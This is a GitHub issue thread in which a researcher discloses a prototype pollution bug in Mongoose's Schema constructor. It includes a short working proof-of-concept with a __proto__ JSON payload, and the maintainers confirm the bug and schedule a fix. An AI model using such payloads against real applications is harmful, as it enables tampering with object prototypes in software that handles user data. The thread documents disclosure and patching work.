Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Possible prototype pollution in mongoose.Schema #10035

Closed
zpbrent opened this issue Mar 18, 2021 · 5 comments
Closed

Possible prototype pollution in mongoose.Schema #10035

zpbrent opened this issue Mar 18, 2021 · 5 comments
Labels
confirmed-bug We've confirmed this is a bug in Mongoose and will fix it.
Milestone

Comments

@zpbrent
Copy link
Contributor

zpbrent commented Mar 18, 2021

NodeJS version: 14.16.0
Mongoose version: 5.12.0

I find the mongoose.Schema() is subject to prototype pollution due to the recursively calling of Schema.prototype.add() function to add new items into the schema object. This vulnerability allows modification of the Object prototype.

// PoC.js
mongoose = require('mongoose');
mongoose.version; //'5.12.0'
var malicious_payload = '{"__proto__":{"polluted":"HACKED"}}';
console.log('Before:', {}.polluted); // undefined
mongoose.Schema(JSON.parse(malicious_payload));
console.log('After:', {}.polluted); // HACKED

What is the current behavior?
out put:

Before: undefined
After: HACKED

What is the expected behavior?
out put:

Before: undefined
After: undefined

I have reported this vul through huntr.dev at https://www.huntr.dev/bounties/1-npm-mongoose/
As well as proposed a possible fix with a PR at 418sec#1

Please help to confirm whether this is indeed a bug and also whether the fix is feasible, thanks!

@zpbrent zpbrent changed the title Prototype Pollution vulnerability in mongoose Possible prototype pollution in mongoose Mar 18, 2021
@zpbrent zpbrent changed the title Possible prototype pollution in mongoose Possible prototype pollution in mongoose.Schema Mar 18, 2021
@vkarpov15
Copy link
Collaborator

The fix is feasible and thank you for pointing this out! Passing user data to the Schema constructor isn't a common use case that we're aware of, but it is better to have this fix just in case 👍 Do you want to put in a PR or should we?

@vkarpov15 vkarpov15 added this to the 5.12.2 milestone Mar 19, 2021
@zpbrent
Copy link
Contributor Author

zpbrent commented Mar 20, 2021

The fix is feasible and thank you for pointing this out! Passing user data to the Schema constructor isn't a common use case that we're aware of, but it is better to have this fix just in case 👍 Do you want to put in a PR or should we?

Thank you for your response @vkarpov15 . Yes, I need your help to reply @huntr-helper - LGTM in 418sec#1 , then the huntr bot can automatically open a new PR to request the merge to your package with the fix , many thanks.

By the way, what is your opinion whether this bug deserves a CVE? If possible, can you help to request one for it, many thanks!

@IslandRhythms IslandRhythms added the confirmed-bug We've confirmed this is a bug in Mongoose and will fix it. label Mar 22, 2021
@vkarpov15
Copy link
Collaborator

Re: CVE, it's debatable. While allowing user-specified data into your schema is certainly possible, doing so seems to defeat the point of using Mongoose. I'd err on the side of not adding a CVE to reduce noise, but I'm open to arguments to the contrary.

@zpbrent
Copy link
Contributor Author

zpbrent commented Mar 22, 2021

Re: CVE, it's debatable. While allowing user-specified data into your schema is certainly possible, doing so seems to defeat the point of using Mongoose. I'd err on the side of not adding a CVE to reduce noise, but I'm open to arguments to the contrary.

Hey @vkarpov15 , OK, I agree with you. It is indeed not quite common that the schema is used in the polluted way :-)

By the way, I have found another prototype pollution in mquery@3.2.4 due to the incomplete fix. I open an issue in mquery at mongoosejs/mquery#120, and also report this vul through huntr.dev and propose a possible fix at 418sec/mquery#1 . Seems you are also the maintianers of mquery and please help to review it :-)

If you also like that fix at mquery@3.2.4, I also need you reply @huntr-helper - LGTM at 418sec/mquery#1 in order to enable the huntr bot to automatically open a new PR to request the merge to your mquery package with the fix , many thanks.

santosomar added a commit to santosomar/Vulnogram that referenced this issue Mar 25, 2021
The Mongoose version used is susceptible to a recently found vulnerability (see Automattic/mongoose#10035). Although, it is a medium severity vulnerability, it will be best to update the package.json with `"mongoose": "^5.12.2",` as humbly suggested in this pull request.
chandanbn pushed a commit to Vulnogram/Vulnogram that referenced this issue Mar 25, 2021
The Mongoose version used is susceptible to a recently found vulnerability (see Automattic/mongoose#10035). Although, it is a medium severity vulnerability, it will be best to update the package.json with `"mongoose": "^5.12.2",` as humbly suggested in this pull request.
@vkarpov15
Copy link
Collaborator

@zpbrent done re: mquery 👍

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
confirmed-bug We've confirmed this is a bug in Mongoose and will fix it.
Projects
None yet
Development

No branches or pull requests

3 participants